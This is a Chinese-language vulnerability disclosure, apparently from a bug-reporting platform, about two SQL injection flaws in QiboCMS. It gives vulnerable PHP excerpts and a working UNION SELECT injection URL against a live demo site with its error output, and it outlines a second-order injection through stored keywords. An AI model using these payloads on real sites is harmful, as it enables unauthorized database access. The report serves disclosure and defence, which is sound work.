### 简要描述：
一周4个小时的假期也够苦的。
life5.qibosoft.com
听说一般应用。
注入 && 另外一个问题。
### 详细说明：
```
if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){
//不读数据库
if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){
include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php");
}
}elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET['job'])||ereg("^([-_0-9a-zA-Z]+)$",$_POST['job'])){
//读数据库
require(dirname(__FILE__)."/"."global.php");
if(ereg("^([-_0-9a-zA-Z]+)$",$job)&&is_file(ROOT_PATH."inc/job/$job.php")){
include(ROOT_PATH."inc/job/$job.php");
}
}
```
包含文件进来。
inc/job/ckreg.php 中
```
}elseif($type=='yzimg'){
if($db->get_one("SELECT * FROM {$pre}yzimg WHERE $SQL imgnum='$name' AND sid='$usr_sid'")){
die("<img src=$webdb[www_url]/images/default/check_right.gif> <font color=red>验证码输入正确!</font>");
}else{
die("<img src=$webdb[www_url]/images/default/check_error.gif>请输入正确的验证码");
}
```
这里的$SQL并没有初始化, 结合qibocms的全局机制 可以直接控制这个变量 导致注入。
[<img src="https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg)
demo测试:
http://life5.qibosoft.com/do/job.php?job=ckreg&type=yzimg&SQL=1=1 union select 1%23
数据库连接出错:SELECT * FROM life5_yzimg WHERE 1=1 union select 1# imgnum='' AND sid='1wmqh6ce'
The used SELECT statements have a different number of columns
1222请输入正确的验证码
_________________________________________________________________________
第二个问题
在wei/member/post.php中
```
elseif($action=="del")
{
$rsdb=$db->get_one("SELECT B.*,A.* FROM `{$_pre}content` A LEFT JOIN `{$_pre}content_1` B ON A.id=B.id WHERE A.id='$id'");
if($rsdb[fid]!=$fidDB[fid]){
showerr("栏目有问题");
}
if($rsdb[uid]!=$lfjuid&&!$web_admin)
{
showerr("你无权操作");
}
$db->query("DELETE FROM `{$_pre}content` WHERE id='$id' ");
$db->query("DELETE FROM `{$_pre}content_1` WHERE id='$id' ");
$db->query("DELETE FROM `{$_pre}comments` WHERE id='$id' ");
keyword_del($id,$rsdb['keywords']);
```
keyword_del($id,$rsdb['keywords']);
这里是出库来的 所以能引入转义符啥的。
```
function keyword_del($id,$keyword){
global $db,$_pre;
if(!$keyword){
return ;
}
$detail2=explode(" ",$keyword);
foreach( $detail2 AS $key=>$value){
if($value){
$db->query("UPDATE `{$_pre}keyword` SET num=num-1 WHERE BINARY `keywords`='$value'");
$_rs=$db->get_one("SELECT kid,num FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'");
if($_rs[num]<1){
$db->query("DELETE FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'");
}
$kid=$_rs[kid];
$db->query("DELETE FROM `{$_pre}keywordid` WHERE `kid`='$kid' AND id='$id'");
```
可以看到 出库的没过滤 再一次带入到查询当中
[<img src="https://images.seebug.org/upload/201410/261630599d83de48a0f911529a42559438695162.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/261630599d83de48a0f911529a42559438695162.jpg)
首先 关键字中写一些特殊字符 然后入库
[<img src="https://images.seebug.org/upload/201410/26163138af7a51bd625e678ea0fbf001abca1197.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/26163138af7a51bd625e678ea0fbf001abca1197.jpg)
然后修改。
在点击确认。
[<img src="https://images.seebug.org/upload/201410/26163218ace27e76c64146f3be4559ba3d66cd03.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/26163218ace27e76c64146f3be4559ba3d66cd03.jpg)
出库 造成注入。
### 漏洞证明：
[<img src="https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/261616473304ec18777b5ef075dd94d3f260b4eb.jpg)
京公网安备 11010502034610号
暂无评论